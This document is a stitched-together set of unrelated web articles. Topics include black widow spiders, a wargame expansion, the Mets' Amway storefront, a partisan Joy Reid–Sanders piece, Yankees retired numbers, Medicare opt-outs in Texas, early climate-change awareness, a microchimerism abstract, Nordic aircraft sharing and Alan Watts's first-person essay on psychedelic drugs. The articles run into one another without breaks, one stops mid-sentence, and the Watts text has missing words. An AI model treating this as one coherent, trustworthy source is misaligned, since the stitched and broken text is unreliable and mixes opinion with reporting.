In fact, not all bites from a black widow spider result in envenomation. These spiders can choose when to inject venom into their perceived attackers, and how much to inject. The same study that found black widows tend to reserve bites for extreme threats also found that black widows' bites are usually venomous only when the spiders feel their lives are in imminent danger. If the threat is less severe, the black widow may deliver what's known as a dry, or nonvenomous, bite, the researchers found.
"Venom is expensive to produce," Scott said. "So they'd rather save it for their next meal rather than wasting it on a human."
They're actually kind of awesome
Once you get over your fear of black widows, you can finally stop to appreciate how cool these arachnids really are. Scott said the thing that interests her most about this spider is its complex system of communication.
"Spiders communicate with each other using vibrations and chemicals called pheromones," Scott said. "They can transmit all kinds of complex messages. Black widow females put pheromones on their silk, which is attractive to males. It's [like] a scent-based personal ad — he can tell if she's mated before, if she's hungry."
And despite what her name suggests, the female black widow doesn't always dispose of her mate after copulation, Scott explained. While some species of widow spider (particularly the Australian redback spider) always consume their sex partners, the western black widow that recently made headlines rarely engages in such cannibalistic activities, said Scott.
She added that the mating rituals of western black widows are actually kind of romantic.
"The male does this awesome courtship dance on the female's web to tell her he's a male and not a meal," Scott said.
Editor's Note: This story was updated to include recent news about a woman who found a black widow inside a bag of grapes in Pennsylvania.
Follow Elizabeth Palermo @techEpalermo. Follow Live Science @livescience, Facebook & Google+. Original article on Live Science.Pike And Shot: Tercio To Salvo [official site] is an intimidating name for an expansion. You might know what a pike is, you almost certainly know what a shot is, but what the devil is a Tercio? An abrupt Italian Count? And what about Salvo? A cut-price branded soothing skin ointment?
Fear not. Even if you don’t know a keil from a kurassier, Pike And Shot is a splendid wargame and will help you to familiarise yourself with the intricacies of European warfare from the Italian Wars through to the early 17th century. Tim Stone applied his considerable knowledge to the original release last year and, judging by the too-few hours I’ve spent with it, I’d highly recommend it as well.
Here are Commander Stone’s conclusions regarding the base game:
Overlook the strict melee rules and the odd occasions when cannons pull off remarkable line-of-fire feats, and Pike & Shot battles are convincing affairs. More importantly perhaps, they never feel like foregone conclusions. However large and numerous the pike-quill porcupines advancing towards you, there’s always a glimmer of hope, a faint memory of that time when you dismantled a similar force with a combination of pluck, luck, and inspired manoeuvres.
The expansion costs £7.99 direct from Slitherine or £7.49 through Steam, and adds two new nations (Dutch and Russian), ten historical battles, 49 new army lists and increased customisation options for skirmishes. Pike and Shot is one of the best wargames I played last year and, as is often the case, I wish I’d been able to spend more time with it.
This is the point where, traditionally, I say that the release of an expansion is a good excuse to reinstall and put in more hours. One look at my Sequoioideaen backlog is enough to convince me that’s really not a good idea right now. One day though. One day I’ll defeat evil Count Tercio and bring the soothing Salvo back to my people.The Mets continue to be the deadbeat, alcoholic uncle of the MLB family. The organization's latest source of embarrassment comes as the result of an under-the-radar decision to lease out a Citi Field storefront to Amway, the notoriously shady "multilevel marketing" company that makes its money by ensnaring people in a pyramid scheme. From Capital New York:
The Citi Field outpost is Amway's first storefront in America. On Saturday, Amway staged a grand opening (or "grand opening": it got no coverage, as far as I can tell) with the Amway sign just a few feet away from a Mets ticket booth. Amway is a multilevel marketing opportunity, to use the euphemism, or a pyramid scheme, to use the terminology of its critics. Individuals sign up as "Independent Business Owners", or I.B.O.s, to sell an array of Amway products, buying them up front while simultaneously recruiting others to join Amway as well.
You know what isn't a good look? An MLB franchise that was bankrupted by a Ponzi scheme entering into a partnership with a company that recently paid $150 million in settlement money to the victims of its pyramid scheme. This is almost as bad as the time the Mets welcomed the shyster from 1-800 Flowers as a minority owner.
Get excited, Mets fans. Once you're finished supporting a shoddily run organization by attending a Mets game, you can swing by the Amway store and support a fraudulent one as well.
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[Capital New York]
Photo via FlickrThere are a select class of liberal media personalities in America—Hillary Clinton acolytes one and all—who despise Bernie Sanders more than they could ever despise any Republican, or perhaps Satan himself. For the crime of having political integrity and daring to oppose The Chosen One during her coronation, Sanders bears the brunt of their scorn, and there’s no issue, no matter how unrelated or irrelevant, that can’t be pinned on the senator from Vermont.
MSNBC’s Joy Reid is one of their ringleaders (this hilariously misguided list is a decent indication of the kind of crowd you should studiously avoided if political honesty is your thing), and she’s constantly going on the offensive against Sanders in ways that are often bizarre and unpredictable. Yesterday, around noon, she made a good point about male influence in media as it relates to the recent sexual harassment/assault scandals:
The "voice of God" in media and politics has been male (and mostly white) for forever. These men are given not just moral authority but the power to shape the national narrative. We're watching that authority crumble as we learn how many have used their power to press for sex. https://t.co/jOPgFEMN0l — Joy Reid (@JoyAnnReid) November 29, 2017
What we're also learning is that it's not just a media problem. The same dynamic plays out throughout our society, from the restaurant boss to the White House. The change that's needed here is a system-wide societal reboot. — Joy Reid (@JoyAnnReid) November 29, 2017
What you should know about Joy Reid, though, is that even when she's making sense, she's never far from beating the war drums against Sanders. It only took one more tweet for the whole thing to devolve:
There are literally no credible national authority figures right now (one could argue that Barack Obama is, but even he can't reach a percentage of the population that has become hardcore ethnonationalist). Certainly the current president isn't one. — Joy Reid (@JoyAnnReid) November 29, 2017
There was no way Reid was going to let that slide. After all, it had been like three tweets since she had compulsively attacked her bete noir:
Um… I get that he has a hardcore following, but his own attitudes toward women, from his weird early writings to his physical dismissal of women in his presence (including his own wife) make that an incredibly dubious prospect. — Joy Reid (@JoyAnnReid) November 29, 2017
Hoo boy.
So, the “weird early writings” goes back to an essay Sanders wrote in 1972 on gender roles. “Weird” is probably a fair adjective, but anyone giving the thing an honest read will see that it's an earnest essay attempting to unravel the complicated dynamics of male-female sexual dynamics. Which, of course, doesn't stop people like Joy Reid from repeatedly attempting to use it as evidence that Sanders is a depraved, violent pervert. Before Reid's tweet, you don't have to look far into the past to see another example—Erica Barnett tried to draw a direct line from Al Franken to Sanders in the aftermath of Franken's groping scandal.
It's pure bunk, but the really offensive part of Reid's tweet was the second part, about Sanders' so-called “physical dismissal” of his wife. And that's where Jane Sanders came in with a blowtorch:
I didn't answer your biased reporting about Bernie during the last 2 years @JoyAnnReid. But don't ever use me to demean my husband. I am very happy & very proud to be Bernie's wife. Your perception couldn't be more wrong. Have you ever talked with him? You've never spoken w/me. https://t.co/SZG7uV8cfO — Jane O'Meara Sanders (@janeosanders) November 29, 2017
Reid did not respond, of course, and she probably won’t because there’s no good way to dig your way out of that hole. Instead, we can anxiously await the next world problem that she lays in Sanders’ lap. The tax reform bill must secretly be his fault, right? Or North Korea? Or net neutrality? Or…NEW YORK -- Scratch three more numbers off the list for the backs of New York Yankees uniforms this season. Or any other season.
The Yankees announced on Monday that they will retire the uniform numbers of Bernie Williams (51), Jorge Posada (20) and Andy Pettitte (46) in pregame ceremonies at Yankee Stadium this season. In addition, Willie Randolph, a member of the Yankees' 1977 and 1978 world championship teams, will be honored with a plaque in Monument Park.
Williams, who played center field for the team that won the World Series four times in five seasons between 1996 and 2000, will be honored on May 24 before a Sunday night game against the Texas Rangers.
Posada also played on four Yankees championship teams, including the 2009 team that beat the Philadelphia Phillies in the World Series. (He appeared in eight games for the '96 team but didn't play in the postseason.) He will be honored on Aug. 22 before a Saturday afternoon game against the Cleveland Indians.
Posada took to Twitter to acknowledge the Yankees' recognition and his excitement at getting his number retired.
I can't believe that this number will never be worn again. What an honor!!!! @Yankees pic.twitter.com/d3XJzDfdl4 — Jorge Posada (@JORGEPOSADA_20) February 16, 2015
Pettitte, a member of five Yankees world championship teams, will be honored on Aug. 23.
Randolph's ceremony will take place during Old Timers' Day festivities before a Saturday night game against the Detroit Tigers.
The three retired numbers will bring the total numbers retired by the Yankees to 22. When the Yankees retire Derek Jeter's No. 2 at some point in the not-too-distant future, the lowest number available will be No. 11 -- 1 through 10 will all be retired.
Williams played his entire 16-year career with the Yankees, hitting.297 in 2,076 games, and is fifth in franchise history with 2,336 hits. He is the club leader with 22 postseason home runs and 80 postseason RBIs.
Posada played his entire 17-year career with the Yankees, hitting.273 in 1,829 games. He is second all time with 125 postseason games.
Pettitte finished his career with a 256-153 record and 3.85 ERA. He has won more games (19) than anyone else in playoff history. His postseason ERA is 3.81 in 276 2/3 innings.
Pettitte was named in the Mitchell report in 2007 and admitted to using HGH. His quick apology and continued success on the field allowed Yankees fans and the team's management to forgive him.Get in, get the stuff, get out! Looks like a combination-style safe lock
Magnetic: Stick it to your fridge
For that rare day you don't want cereal for dinner
Parker: You want me to break into a secure storage facility with whatever I can scrounge up at the buffet table?
Nate: Pretty much. Yup.
Parker: Cool.
- Leverage, "The First David Job"
Some people do crosswords, but Parker spends her days calculating the best ways to break into the most highly secured buildings and then studying up on the weaknesses of vaults and safes. And though she has been known to eat a dinner consisting solely of cereal and fortune cookies, we'd guess that once in a blue moon she turns an oven on and makes a real meal.
A professional thief like Parker deserves an appropriately-themed kitchen timer, don't you think? The Safe Kitchen Timer looks just like locking mechanism of a traditional, combination-style safe. Of course, Parker was cracking these when she was just a little girl, but it's the thought that counts. Stick the Safe Kitchen Timer to the center of your fridge, turn the dial to the amount of time you need to cook someone's goose, and then go turn on the security lasers in your living room and practice your flips.
Product SpecificationsTexas doctors fleeing Medicare in droves Texas doctors opting out of Medicare at alarming rate
Houston retiree Kathy Sweeney has trouble finding specialists who take new Medicare patients and is worried about the possibility she one day could lose her regular doctor. Houston retiree Kathy Sweeney has trouble finding specialists who take new Medicare patients and is worried about the possibility she one day could lose her regular doctor. Photo: Eric Kayne, For The Chronicle Photo: Eric Kayne, For The Chronicle Image 1 of / 1 Caption Close Texas doctors fleeing Medicare in droves 1 / 1 Back to Gallery
Texas doctors are opting out of Medicare at alarming rates, frustrated by reimbursement cuts they say make participation in government-funded care of seniors unaffordable.
Two years after a survey found nearly half of Texas doctors weren't taking some new Medicare patients, new data shows 100 to 200 a year are now ending all involvement with the program. Before 2007, the number of doctors opting out averaged less than a handful a year.
“This new data shows the Medicare system is beginning to implode,” said Dr. Susan Bailey, president of the Texas Medical Association. “If Congress doesn't fix Medicare soon, there'll be more and more doctors dropping out and Congress' promise to provide medical care to seniors will be broken.”
More than 300 doctors have dropped the program in the last two years, including 50 in the first three months of 2010, according to data compiled by the Houston Chronicle. Texas Medical Association officials, who conducted the 2008 survey, said the numbers far exceeded their assumptions.
The largest number of doctors opting out comes from primary care, a field already short of practitioners nationally and especially in Texas. Psychiatrists also make up a large share of the pie, causing one Texas leader to say, “God forbid that a senior has dementia.”
The opt-outs follow years of declining Medicare reimbursement that culminated in a looming 21 percent cut in 2010. Congress has voted three times to postpone the cut, which was originally to take effect Jan. 1. It is now set to take effect June 1.
Not cost-effective
The uncertainty proved too much for Dr. Guy Culpepper, a Dallas-area family practice doctor who says he wrestled with his decision for years before opting out in March. It was, he said, the only way “he could stop getting bullied and take control of his practice.”
“You do Medicare for God and country because you lose money on it,” said Culpepper, a graduate of the University of Texas Medical School at Houston. “The only way to provide cost-effective care is outside the Medicare system, a system without constant paperwork and headaches and inadequate reimbursement.”
Ending Medicare participation is just one consequence of the system's funding problems. In a new Texas Medical Association survey, opting out was one of the least common options doctors have taken or are planning as a result of declining Medicare funding — behind increasing fees, reducing staff wages and benefits, reducing charity care and not accepting new Medicare patients.
In 2008, 42 percent of Texas doctors participating in the survey said they were no longer accepting all new Medicare patients. Among primary-care doctors, the percentage was 62 percent.
The impact on doctors has not been lost on their patients. Kathy Sweeney, a Houston retiree, twice has been turned away by specialists because they weren't accepting new Medicare patients. She worries her doctors might have to drop her if Medicare cuts go through and they can't afford to continue in the program.
“I've talked to them about the possibility,” said Sweeney, who sent her legislators a letter calling on them to fix Medicare. “They're hanging in there as long as there's not a severe cut, but just thinking I couldn't continue doctor-patient relationships I built up over years is disturbing. Seniors should be able to see the doctors they want.”
The problem dates back to 1997, when Congress passed a balanced budget law that included a Medicare payment formula aimed at reining in spending. The formula, which assumed low growth rates, called for payment cuts if spending exceeded goals, a scenario that occurred year after year as health care costs grew. The scheduled cuts, expected to be modest, turned out to be large.
Congress would overturn the cuts, but their short-term fixes didn't keep up with inflation. The Texas Medical Association says the cumulative effect since 2001 already amounts to an inflation-adjusted cut of 20.9 percent. In 2001, doctors receiving a $1,000 Medicare payment made roughly $410, after taking out operating expenses. In 2010, they'll net $290. If the scheduled 21.2 percent cut goes through, they'd net $72, effectively an 83 percent cut since 2001.
The issue caused the Texas Medical Association to break ranks with the American Medical Association and oppose health care reform efforts throughout 2009. Then TMA President Dr. William Fleming said “reform is doomed to failure” without Medicare reform and called Congress' failure to devise a rational payment plan “an insult to seniors, people with disabilities and military families.”
No surprise to senator
U.S. Sen. John Cornyn, R-Texas, said he isn't surprised by the new opt-out numbers, allowing that Congress' inability to reform Medicare is leaving “seniors without access and breaking the promise we made to them.”
“The problem has been how to eliminate the cuts without running up the deficit,” said Cornyn, responding to blame U.S. Rep. Gene Green, D-Houston, placed on the Senate for not passing a House bill that would have provided a longer-term Medicare fix. “There hasn't been the political will, but we really have no choice but to fix it.”
Cornyn acknowledged the task is daunting. The Congressional Budget Office recently estimated that eliminating scheduled Medicare payment cuts through 2020 would cost $276 billion.
The growth in Texas Medicare opt-outs began in earnest in 2007, when 70 doctors notified Trailblazer Health Enterprises, the state's Medicare carrier, they would no longer participate, up from seven in 2006. The numbers jumped to 151 in 2008, fell back to 135 in 2009 and are on pace for 200 in 2010. From 1998 to 2002, by contrast, no more than three a year opted out.
Now, according to a Texas Medical Association new poll, more than four in 10 doctors are considering the move.
“I've been in practice 24 years, and a lot of my patients got old right along with me,” Culpepper said. “It's stressful to tell them you're leaving Medicare and they're responsible for payments if they want to stay with you. You feel like you're abandoning them.”
todd.ackerman@chron.comIt’s no secret that America’s waistlines have gotten bigger. But this mesmerizing graphic shows exactly when this happened.
Nearly 70% of American adults over the age of 20 are considered at least overweight, and more than one-fourth is considered obese. That’s up from roughly one in four 20 years ago. And the percentage of adults who had been advised to exercise increased from 22.6% in 2000 to 32.4% in 2010, according to the Centers for Disease Control and Prevention.
Read more: Here’s the real secret to losing weight and staying thin (Hint: you’re not going to like it)
FlowingData’s Nathan Yau shared this chart, which is based on Body Mass Index. BMI takes into account weight and height. While BMI is the main calculation to measure obesity, it is controversial particularly among athletes, because it doesn’t take into account muscle mass, which weighs more than fat (The average Denver Bronco’s player has a BMI that puts them in the obese range).
When the data begins in 1984, most adults fit in the normal weight category. But as the years progress, fewer adults fit into the normal weight category and instead shift increasingly to the obese and overweight category, while the amount of adults considered underweight slightly decreases.
You can see how your own BMI fits in here:
In response to the obesity epidemic, the Food and Drug Administration has proposed a revamp of nutrition labels to reflect Americans’ serving sizes, which have increased over the past two decades, and make calorie counts more prominent. And new dietary guidelines limit the recommended amount of sugar Americans should eat to about 40 grams of sugar in a 2,000-calorie diet. (There are 39 grams of sugar in one 12-ounce can of regular Coke.)
There is a silver lining for investors here. A new obesity ETF means there’s a chance you can get rich while everyone else gets fat.Earlier this month the satirical newspaper The Onion “reported” on the discovery in a Californian university’s archives of a dusty, yellowing report saying the time to act on climate change is now.
This week life imitated art, as it was revealed that there is indeed a decades-old report to be found in a Californian archive warning of climate impacts. The real report, as opposed to the satirical one, was written in 1968 by scientists at the Stanford Research Institute, who sent it to the American Petroleum Institute to warn of the possible impacts of carbon dioxide emissions.
That wasn’t even the start. A decade earlier, in 1959, a scientist working for oil giant Shell wrote in New Scientist about the idea of humans altering the climate, although he poured scorn on the idea.
By the early 1970s, the idea of the greenhouse effect was already in the air, if you’ll pardon the pun. It merited several pages in the Club of Rome’s landmark 1972 report, The Limits to Growth, and even got a mention in the dystopian classic 1973 film Soylent Green.
Australian awareness
Australian climate awareness wasn’t far behind. In August 1972, English scientist John Maddox appeared on ABC television and was asked about the threat of climate change. Maddox, who was then the editor of leading science journal Nature and author of The Doomsday Syndrome, was sceptical, claiming that “there’s no reason at all to think that the gloomy calculations are right”.
The following year, ecologist Leonard Webb’s book Environmental Boomerang devoted a short section to the issue.
In 1974, the Australian Conservation Foundation established its Habitat magazine. An early issue included an article about global warming.
The following year, the economist and bureaucrat Herbert Cole “Nugget” Coombs persuaded the Whitlam government to commission research on the issue. This gave rise to an Australian Academy of Science (AAS) report that concluded it was too early to tell.
By the late 1970s, The Canberra Times began running prominent stories about the possibility of sea-level rise and other climate impacts. One that presumably caught the coal industry’s attention was a November 1977 article in which a US physicist warned that relying only on coal-fired power would flood US cities.
In 1981, the AAS followed up on its earlier work, releasing a report on “The CO₂-Climate Connection: A Global Problem from an Australian Perspective”. At this time, pro-nuclear Liberal politicians were invoking climate change as a reason for Australia to pursue nuclear energy.
The same year, the Office of National Assessment wrote a report for the Fraser government titled “Fossil Fuels and the Greenhouse Effect”. Clive Hamilton, who uncovered it, described how the report urged the government to consider moving away from fossil fuels, although “it might be possible for raw coal to be burned in central locations, such as power stations built close to the sea, where carbon dioxide can be chemically stripped from emissions and dissolved at depth in the oceans”. Carbon capture and storage was already on the table, even in the early 1980s.
That decade climate change slowly but surely climbed the political agenda, thanks largely to the work of then federal science minister Barry Jones. In 1987 his Commission for the Future worked with CSIRO under the banner of the “Greenhouse Project” to stage a series of workshops, to be followed – with exquisite timing – by conferences across Australia in late 1988.
Three decades after the first presentiments of danger, the moment had finally arrived. With drought in the United States, the Toronto conference on The Changing Atmosphere, a speech to Britain’s Royal Society by then prime minister Margaret Thatcher, and NASA scientist James Hansen’s famous US congressional testimony, 1988 is widely seen as year zero for public awareness of climate change.
Who knew what when?
The Australian Mining Industry Council (now the Minerals Council of Australia) |
, from their own perspective the dinosaurs probably would have been just as happy sticking around for another hundred million years, but that's short-term thinking. It's mammals who made the dinosaurs into stars. And without the Cretaceous-Paleogene extinction event, which I call "C-Pee" because I like to amuse 6-year-olds, there would be no mammals larger than a prizewinning crenshaw melon, which means no hominids, which means no plush dinosaurs, and that's where the money is. So thank the space between the stars for smacking Mexico with a meteor the size of San Francisco – only with a lot more available parking – thereby giving the wily and furry their chance to shine.
3. Life Itself
There is a controversial theory that, as Nobel Prize winner Joni Mitchell said in her famous treatise on biogenesis, "We are stardust, billion-year-old carbon, we are golden, caught in the Devil's bargain." Leaving aside the bit about the Devil, which has not been reproduced in controlled trials, what Dr. Mitchell was saying is that the building blocks of DNA may have been transmitted to this planet via – you guessed it – meteorites. That would mean that all life on earth – from humble algae to pompous egotistical algae – owes its existence to the longest money shot in history. Scientists refer to this as the "panspermia theory," because apparently I'm not the only one who likes to amuse 6-year-olds.
Photo: The meteor that killed the dinosaurs, or possibly just a time-exposure photo of a flashlight. (ToastyKen/Flickr)
- – -
Born helpless, naked and unable to provide for himself, Lore Sjöberg overcame these impediments to learn that mammary glands are actually evolutionarily-modified sweat glands, which turns ice cream making into a rather disturbing hobby.
See Also:- Alt Text: How Apple and HP Win Big by LosingAbstract
PURPOSE: Fetal microchimerism, derived from fetal cells that persist after pregnancy, is usually evaluated by tests for male microchimerism in women who gave birth to sons. We investigated male microchimerism in women without sons and examined correlation with prior pregnancy history. Immunologic consequences of microchimerism are unknown. We studied healthy women and women with rheumatoid arthritis (RA).
METHODS: Y-chromosome-specific real-time quantitative polymerase chain reaction was used to test peripheral blood mononuclear cells of 120 women (49 healthy and 71 with RA). Results were expressed as the number of male cells that would be equivalent to the total amount of male DNA detected within a sample containing the equivalent of 100000 female cells.
RESULTS: Male microchimerism was found in 21% of women overall. Healthy women and women with RA did not significantly differ (24% vs 18%). Results ranged from the DNA equivalent of 0 to 20.7 male cells per 100000 female cells. Women were categorized into 4 groups according to pregnancy history. Group A had only daughters (n = 26), Group B had spontaneous abortions (n = 23), Group C had induced abortions (n = 23), and Group D were nulligravid (n = 48). Male microchimerism prevalence was significantly greater in Group C than other groups (8%, 22%, 57%, 10%, respectively). Levels were also significantly higher in the induced abortion group.
CONCLUSIONS: Male microchimerism was not infrequent in women without sons. Besides known pregnancies, other possible sources of male microchimerism include unrecognized spontaneous abortion, vanished male twin, an older brother transferred by the maternal circulation, or sexual intercourse. Male microchimerism was significantly more frequent and levels were higher in women with induced abortion than in women with other pregnancy histories. Further studies are needed to determine specific origins of male microchimerism in women.The five major Nordic nations have signed an agreement to share warplanes. State officials from Norway, Iceland, Sweden, Finland and Denmark said on Thursday (November 8) that an additional plan is also under consideration that would see the five nations share military-related costs, ground equipment and some operational tasks, including surveillance and tugboat operations.
Aircraft in the agreement include a dozen C-130 Hercules cargo planes, provided by Denmark and Sweden, as well as three Norwegian EADS CASA C-295 planes. However, the deal will not include fighter jets, according to reports.
Denmark’s defence minister Nick Hækkeru told the Jyllands-Posten newspaper, “The best solution would be to pool our resources so that we can access each other’s planes. Some planes are always unavailable, either due to servicing or repairs. This is an opportunity for a Nordic co-operation for the operative use of planes, maintenance, education and training exercises.”
Experts say the move highlights growing cuts to military spending in the European region, although some say cost savings through sharing programmes could also entail conflict.
Lars Bangert Struwe from the University of Copenhagen’s Centre for Military Studies told the Copenhagen Post, “It’s simple when you’re just dealing with things like ammunition, where you can get discounts for buying in bulk, but it quickly gets more complicated when you’re looking at sharing a radar facility in Sweden.”
He added, “What would happen if we fell out with Sweden? Or if a conflict arises that NATO is involved in, but Sweden has decided to stay out of it, and we rely upon them for surveillance?”The Psychedelic Experience
A kind of waking trance I have frequently had, quite up from boyhood, when I have been all alone. This has generally come upon me thro' repeating my own name two or three times to myself silently, till all at once, as it were out of the intensity of the consciousness of individuality, the individuality itself seemed to dissolve and fade away into boundless being, and this not a confused state, but the clearest of the clearest, the surest of the surest, the weirdest of the weirdest, utterly beyond words, where death was an almost laughable impossibility, the loss of personality (if so it were) seeming no extinction but the only true life. (6)
Opposition to Psychedelic Drugs
O Lord our heavenly Father, high and mighty, King of kings, Lord of lords, the only Ruler of princes, who dost from thy throne behold all the dwellers upon earth: most heartily we beseech thee with thy favor to behold....(7)
The experiences resulting from the use of psychedelic drugs are often described in religious terms. They are therefore of interest to those like myself who, in the tradition of William James, (1) are concerned with the psychology of religion. For more than thirty years I have been studying the causes, the consequences, and the conditions of those peculiar states of consciousness in which the individual discovers himself to be one continuous process with God, with the Universe, with the Ground of Being, or whatever name he may use by cultural conditioning or personal preference for the ultimate and eternal reality. We have no satisfactory and definitive name for experiences of this kind. The terms "religious experience," "mystical experience," and "cosmic consciousness" are all too vague and comprehensive to denote that specific mode of consciousness which, to those who have known it, is as real and overwhelming as falling in love. This article describes such states of consciousness induced by psychedelic drugs, although they are virtually indistinguishable from genuine mystical experience. The article then discusses objections to the use of psychedelic drugs that arise mainly from the opposition between mystical values and the traditional religious and secular values of Western society. The idea of mystical experiences resulting from drug use is not readily accepted in Western societies. Western culture has, historically, a particular fascination with the value and virtue of man as an individual, self-determining, responsible ego, controlling himself and his world by the power of conscious effort and will. Nothing, then, could be more repugnant to this cultural tradition than the notion of spiritual or psychological growth through the use of drugs. A "drugged" person is by definition dimmed in consciousness, fogged in judgment, and deprived of will. But not all psychotropic (consciousness-changing) chemicals are narcotic and soporific, as are alcohol, opiates, and barbiturates. The effects of what are now called psychedelic (mind-manifesting) chemicals differ from those of alcohol as laughter differs from rage, or delight from depression. There is really no analogy between being "high" on LSD and "drunk" on bourbon. True, no one in either state should drive a car, but neither should one drive while reading a book, playing a violin, or making love. Certain creative activities and states of mind demand a concentration and devotion that are simply incompatible with piloting a death-dealing engine along a highway.I myself have experimented with five of the principal psychedelics: LSD-25, mescaline, psilocybin, dimethyl-tryptamine (DMT), and cannabis. I have done so, as William James tried nitrous oxide, to see if they could help me in identifying what might be called the "essential" or quot;active" ingredients of the mystical experience. For almost all the classical literature on mysticism is vague, not only in describing the experience, but also in showing rational connections between the experience itself and the various traditional methods recommended to induce it-fasting, concentration, breathing exercises, prayers, incantations, and dances. A traditional master of Zen or Yoga, when asked why such-and-such practices lead or predispose one to the mystical experience, always responds, "This is the way my teacher gave it to me. This is the way I found out. If you're seriously interested, try it for yourself." This answer hardly satisfies an impertinent, scientifically minded, and intellectually curious Westerner. It reminds him of archaic medical prescriptions compounding five salamanders, powdered gallows rope, three boiled bats, a scruple of phosphorus, three pinches of henbane, and a dollop of dragon dung dropped when the moon was in Pisces. Maybe it worked, but what was the essential ingredient?It struck me, therefore, that if any of the psychedelic chemicals would in fact predispose my consciousness to the mystical experience, I could use them as instruments for studying and describing that experience as one uses a microscope for bacteriology, even though the microscope is an "artificial" and "unnatural" contrivance which might be said to quot;distort" the vision of the naked eye. However, when I was first invited to test the mystical qualities of LSD-25 by Dr. Keith Ditman of the Neuropsychiatric Clinic at UCLA Medical School, I was unwilling to believe that any mere chemical could induce a genuine mystical experience. At most, it might bring about a state of spiritual insight analogous to swimming with water wings. Indeed, my first experiment with LSD-25 was not mystical. It was an intensely interesting aesthetic and intellectual experience that challenged my powers of analysis and careful description to the utmost.Some months later, in 1959, I tried LSD-25 again with Drs. Sterling Bunnell and Michael Agron, who were then associated with the Langley-Porter Clinic, in San Francisco. In the course of two experiments I was amazed and somewhat embarrassed to find myself going through states of consciousness that corresponded precisely with every description of major mystical experiences that I had ever read. (2) Furthermore, they exceeded both in depth and in a peculiar quality of unexpectedness the three "natural and spontaneous" experiences of this kind that had happened to me in previous years. Through subsequent experimentation with LSD-25 and the other chemicals named above (with the exception of DMT, which I find amusing but relatively uninteresting), I found I could move with ease into the state of "cosmic consciousness," and in due course became less and less dependent on the chemicals themselves for "tuning in" to this particular wave length of experience. Of the five psychedelics tried, I found that LSD-25 and cannabis suited my purposes best. Of these two, the latter---cannabis---which I had to use abroad in countries where it is not outlawed, proved to be the better. It does not induce bizarre alterations of sensory perception, and medical studies indicate that it may not, save in great excess, have the dangerous side effects of LSD.For the purposes of this study, in describing my experiences with psychedelic drugs I avoid the occasional and incidental bizarre alterations of sense perception that psychedelic chemicals may induce. I am concerned, rather, with the fundamental alterations of the normal, socially induced consciousness of one's own existence and relation to the external world. I am trying to delineate the basic principles of psychedelic awareness. But I must add that I can speak only for myself. The quality of these experiences depends considerably upon one's prior orientation and attitude to life, although the now voluminous descriptive literature of these experiences accords quite remarkably with my own.Almost invariably, my experiments with psychedelics have had four dominant characteristics. I shall try to explain them -in the expectation that the reader will say, at least of the second and third, "Why, that's obvious! No one needs a drug to see that." Quite so, but every insight has degrees of intensity. There can be obvious-1 and obvious-2---and the latter comes on with shattering clarity, manifesting its implications in every sphere and dimension of our existence.The first characteristic is a slowing down of time, a. One's normally compulsive concern for the future decreases, and one becomes aware of the enormous importance and interest of what is happening at the moment. Other people, going about their business on the streets, seem to be slightly crazy, failing to realize that the whole point of life is to be fully aware of it as it happens. One therefore relaxes, almost luxuriously, into studying the colors in a glass of water, or in listening to the now highly articulate vibration of every note played on an oboe or sung by a voice.From the pragmatic standpoint of our culture, such an attitude is very bad for business. It might lead to improvidence, lack of foresight, diminished sales of insurance policies, and abandoned savings accounts. Yet this is just the corrective that our culture needs. No one is more fatuously impractical than the "successful" executive who spends his whole life absorbed in frantic paper work with the objective of retiring in comfort at sixty-five, when it will all be too late. Only those who have cultivated the art of living completely in the present have any use for making plans for the future, for when the plans mature they will be able to enjoy the results. "Tomorrow never comes." I have never yet heard a preacher urging his congregation to practice that section of the Sermon on the Mount which begins, "Be not anxious for the morrow...." The truth is that people who live for the future are, as we say of the insane, "not quite all there"--- or here: by over-eagerness they are perpetually missing the point. Foresight is bought at the price of anxiety, and when overused it destroys all its own advantages.The second characteristic I will call. This is the vivid realization that states, things, and events that we ordinarily call opposite are interdependent, like back and front, or the poles of a magnet. By polar awareness one sees that things which are explicitly different are implicitly one: self and other, subject and object, left and right, male and female-and then, a little more surprisingly, solid and space, figure and background, pulse and interval, saints and sinners, police and criminals, in-groups and out-groups. Each is definable only in terms of the other, and they go together transactionally, like buying and selling, for there is no sale without a purchase, and no purchase without a sale. As this awareness becomes increasingly intense, you feel that you yourself are polarized with the external universe in such a way that you imply each other. Your push is its pull, and its push is your pull---as when you move the steering wheel of a car. Are you pushing it or pulling it?At first, this is a very odd sensation, not unlike hearing your own voice played back to you on an electronic system immediately after you have spoken. You become confused, and wait forto go on! Similarly, you feel that you are something being done by the universe, yet that the universe is equally something being done by you-which is true, at least in the neurological sense that the peculiar structure of our brains translates the sun into light, and air vibrations into sound. Our normal sensation of relationship to the outside world is that sometimes I push it, and sometimes it pushes me. But if the two are actually one, where does action begin and responsibility rest? If the universe is doing me, how can I be sure that, two seconds hence, I will still remember the English language? If I am doing it, how can I be sure that, two seconds hence, my brain will know how to turn the sun into light? From such unfamiliar sensations as these, the psychedelic experience can generate confusion, paranoia, and terror-even though the individual is feeling his relationship to the world exactly as it would be described by a biologist, ecologist, or physicist, for he is feeling himself as the unified field of organism and environment.The third characteristic, arising from the second, is. I see that I am a link in an infinite hierarchy of processes and beings, ranging from molecules through bacteria and insects to human beings, and, maybe, to angels and gods-a hierarchy in which every level is in effect the same situation. For example, the poor man worries about money while the rich man worries about his health: the worry is the same, but the difference is in its substance or dimension. I realize that fruit flies must think of themselves as people, because, like ourselves, they find themselves in the middle of their own world-with immeasurably greater things above and smaller things below. To us, they all look alike and seem to have no personality-as do the Chinese when we have not lived among them. Yet fruit flies must see just as many subtle distinctions among themselves as we among ourselves.From this it is but a short step to the realization that all forms of life and being are simply variations on a single theme: we are all in fact one being doing the same thing in as many different ways as possible. As the French proverb goes,(the more it varies, the more it is one). I see, further, that feeling threatened by the inevitability of death is really the same experience as feeling alive, and that as all beings are feeling this everywhere, they are all just as much "I" as myself. Yet the "I" feeling, to be felt at all, must always be a sensation relative to the "other"-to something beyond its control and experience. To be at all, it must begin and end. But the intellectual jump that mystical and psychedelic experiences make here is in enabling you to see that all these myriad I-centers are yourself---not, indeed, your personal and superficially conscious ego, but what Hindus call the, the Self of all selves. (3) The fourth characteristic is, often in the form of intense white light, which seems to be both the current in your nerves and that mysterious e which equals mc2. This may sound like megalomania or delusion of grandeur-but one sees quite clearly that all existence is a single energy, and that this energy is one's own being. Of course there is death as well as life, because energy is a pulsation, and just as waves must have both crests and troughs, the experience of existing must go on and off. Basically, therefore, there is simply nothing to worry about, because you yourself are the eternal energy of the universe playing hide- and-seek (off-and-on) with itself. At root, you are the Godhead, for God is all that there is. Quoting Isaiah just a little out of context: "I am the Lord, and there is 